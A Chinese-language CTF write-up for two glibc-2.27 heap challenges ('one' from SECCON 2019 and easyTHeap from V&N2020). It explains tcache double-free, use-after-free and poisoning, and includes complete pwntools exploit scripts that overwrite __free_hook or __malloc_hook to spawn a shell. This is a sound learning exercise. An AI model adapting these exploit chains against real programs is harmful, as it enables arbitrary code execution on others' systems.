SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)

主要利用了tcache的uaf和double-free漏洞,还有Tcache Poisoning和Tcache dup漏洞,可谓是一个大杂侩,虽然说题目逻辑简单,但是利用过程不是很容易,一次只能分配一个恶意块,所以需要有全局思维,要考虑如何利用漏洞并且需要在漏洞利用完还可以继续利用,因此比较复杂。对数字及其敏感,非常混乱,建议边调试边尝试。

哎还得是tcache,fastbin搞两下就崩了哈哈哈,可惜高版本tcache利用也成过去式了

from pwn import *
io = process("./one")
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
elf = ELF("./libc-2.27.so")
def create(content):
io.sendlineafter(b'> ',b'1')
io.sendlineafter(b'Input memo > ',content)
def show():
io.sendlineafter(b'> ', b'2')
return io.recvuntil("\n").strip()
def de():
io.sendlineafter(b'> ', b'3')
def ex():
io.sendlineafter(b'> ', b'0')


##heap地址泄露
for i in range(7):
create(2*p64(0x131)+2*p64(0x0))
de()
de()

chunkadd = u64(show().ljust(8,b'\x00'))
## 此处是为了让tcache有更多的块
de()
de()
de()
de()
##libc地址泄露
create(p64(chunkadd-0x150+0x20)+2*p64(0x0)+p64(0x171))
create(p64(chunkadd-0x150+0x20)+2*p64(0x0)+p64(0x171))
create(b'\xff\xff\xff\xff')

for i in range(8):
de()
base = u64(show().ljust(8,b'\x00'))-0x3ebca0
sys = base +elf.symbols["system"]

##复写hook
create(10*b'a')
de()
de()
fhook = base + elf.symbols["__free_hook"]
create(p64(fhook)+2*p64(0x0)+p64(0x171))
create(b'a')
create(p64(sys))
create("/bin/sh\x00")
de()
io.interactive()

print("libc:",hex(base))
print("chunkadd:",hex(chunkadd))
print("__free_hook",hex(fhook))
# gdb.attach(io)
# pause()



BUUCTF-[V&N2020 公开赛]easyTHeap

版本

2.27-3ubuntu1_amd64

题目描述

本题是一个简陋的类似于tcache管理的程序,无法知道程序的基址,也就是说pie无法绕过,data数据段中存在两个变量控制new和delete的chunk的数量,因此本题需要细致控制new和delete的次数。new最多7次,delete最多三次。

存在漏洞

存在uaf和double_free漏洞,也存在打印堆内容的函数因此可以泄露地址,本题学习的地方是,可以通过Tcache Poisoning来控制tcache管理器。也就是tcache_perthread_struct结构体,来达到任意地址分配的目的

本题思路

1.通过doublefree和uaf泄露堆地址,需要new一次,delete2次。

2.通过uaf来实现Tcache Poisoning攻击,得到tcache_perthread_struct结构体的读写权限。需要new三次。需要仔细构造fd,来实现Tcache Poisoning攻击。

3.得到堆管理器控制权限时写入极大内容,造成bin已满的情形,free掉堆管理器,会被释放到unsortedbin中,可以泄露libc的基址。需要delete一次

4.注意看上三次步骤已经用光了delete的次数,new的次数也用了4次。这就是控制tcache_perthread_struct结构体的绝妙之处,可以通过伪造count和fd字段,来造成还有剩余chunk的假象,因此可以实现任意地址分配,不需要用uaf来进行任意地址的读写操作。

5.new一次得到tcache_perthread_struct结构体的控制权限,因为unsortedbin中只有一个reminderchunk,因此会直接切分分配,new的大小要合适。

6.new一次,分配到__realloc_hook的区域,来伪造__realloc_hook与__malloc_hook,这两个hook在一起,因此只需要消耗一次new的机会则可以得到连个hook的读写权限。

  • 为什么不能直接得到mallochook来进行one-gadget的注入?

    realloc函数中有大量的pop,push操作,可以使one-gadget条件得到满足,因此向mallochook中注入realloc的地址,向reallochook中注入one-gadget的地址,以此来构造调用链条。

7.new一次,执行one-gadget,至此本题结束,恰好7次new,3次delete,及其极限。

脚本

from pwn import *
io = process("./vn_pwn_easyTHeap")
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
elf = ELF("/home/l/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
def create(size):
io.sendafter(b'choice: ',b'1')
io.sendafter(b'size?',size)
def edit(index,con):
io.sendafter(b'choice: ', b'2')
io.sendafter(b'idx?',index)
io.sendafter(b'content:', con)
def show(index):
io.sendafter(b'choice: ', b'3')
io.sendafter(b'idx?', index)
return io.recvuntil("\n").strip()
def de(index):
io.sendafter(b'choice: ', b'4')
io.sendafter(b'idx?', index)
def ex():
io.sendafter(b'choice: ', b'5')
create(b'248')#index = 0
de(b'0')
de(b'0')
heapadd = u64(show(b'0').ljust(8,b'\x00'))
print(hex(heapadd))
create(b'248')#index = 1
edit(b'1',p64(heapadd-0x250))
create(b'248')#index = 2
edit(b'2',p64(heapadd-0x250))
create(b'248')#index = 3,tcache_perthread_struct
edit(b'3',0x40*b'a')
de(b'3')##goto unsortedbin
##getlibcbase
libbase = u64(show(b'3').ljust(8,b'\x00'))-0x3ebca0
print(libbase)
mallochook = libbase+elf.symbols["__malloc_hook"]
reallochook = libbase+elf.symbols["__realloc_hook"]
print(hex(mallochook))
## 构造tcache_perthread_struct
create(b'248')#index = 4
edit(b'4',0x40*b'\x00'+p64(mallochook)+p64(reallochook))
## 复写mallochook
sys = libbase + 0x4f2be
relloc = libbase+elf.symbols["realloc"]
create(b'40')#index = 5
edit(b'5',p64(sys)+p64(relloc+2))
#gdb.attach(io)
#pause()

## index = 6
io.sendafter(b'choice: ', b'1')
io.sendafter(b'size?', b'50')
#pause()
io.interactive()